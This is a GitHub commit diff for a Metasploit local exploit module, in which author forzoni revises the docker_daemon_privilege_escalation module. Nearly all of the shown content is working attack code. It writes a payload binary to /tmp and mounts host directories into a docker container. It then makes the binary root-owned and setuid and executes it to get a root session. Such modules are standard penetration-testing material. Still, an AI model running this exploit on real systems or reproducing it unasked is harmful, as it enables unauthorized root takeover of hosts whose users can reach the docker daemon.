Skip to content

Commit 6f35a04

Browse files
author
forzoni
committed
Incorporate review fixes, ensure PrependFork is true, fix echo compat.
1 parent d414ea5 commit 6f35a04

File tree

1 file changed

+18
-11
lines changed

1 file changed

+18
-11
lines changed

modules/exploits/linux/local/docker_daemon_privilege_escalation.rb

Lines changed: 18 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class MetasploitModule < Msf::Exploit::Local
1111
Rank = ExcellentRanking
1212
include Msf::Exploit::EXE
1313
include Msf::Post::File
14+
include Msf::Exploit::FileDropper
1415

1516
def initialize(info={})
1617
super(update_info(info, {
@@ -23,12 +24,13 @@ def initialize(info={})
2324
'Author' => ['forzoni'],
2425
'DisclosureDate' => 'Jun 28 2016',
2526
'Platform' => 'linux',
26-
'Arch' => [ARCH_X86, ARCH_X86_64],
27+
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
2728
'Targets' => [ ['Automatic', {}] ],
29+
'DefaultOptions' => { 'PrependFork' => true },
2830
'SessionTypes' => ['shell', 'meterpreter']
2931
}
3032
))
31-
register_options([
33+
register_advanced_options([
3234
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
3335
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
3436
], self.class)
@@ -45,15 +47,19 @@ def check
4547

4648
def exploit
4749
pl = generate_payload_exe
48-
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
49-
print_status("Writing payload executable to '#{exe_file}'")
50-
write_file(exe_file, pl)
51-
cmd_exec("chmod +x #{exe_file}")
52-
vprint_status shell_script(exe_file)
53-
vprint_status cmd_exec("sh -c '#{shell_script(exe_file)}'")
50+
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
51+
print_status("Writing payload executable to '#{exe_path}'")
52+
53+
write_file(exe_path, pl)
54+
register_file_for_cleanup(exe_path)
55+
56+
print_status("Executing script to create and run docker container")
57+
vprint_status cmd_exec("chmod +x #{exe_path}")
58+
vprint_status shell_script(exe_path)
59+
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
5460

5561
stime = Time.now.to_f
56-
print_status "Starting the payload handler..."
62+
print_status "Waiting for payload"
5763
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
5864
Rex.sleep(1)
5965
end
@@ -62,11 +68,12 @@ def exploit
6268
def shell_script(exploit_path)
6369
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
6470
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
71+
6572
%Q{
66-
IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
73+
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | cut -d ":" -f2`
6774
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
6875
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
69-
docker rmi $IMG
76+
docker rmi -f $IMG
7077
#{exploit_path}
7178
}.strip.split("\n").map(&:strip).join(';')
7279
end

0 commit comments

Comments
 (0)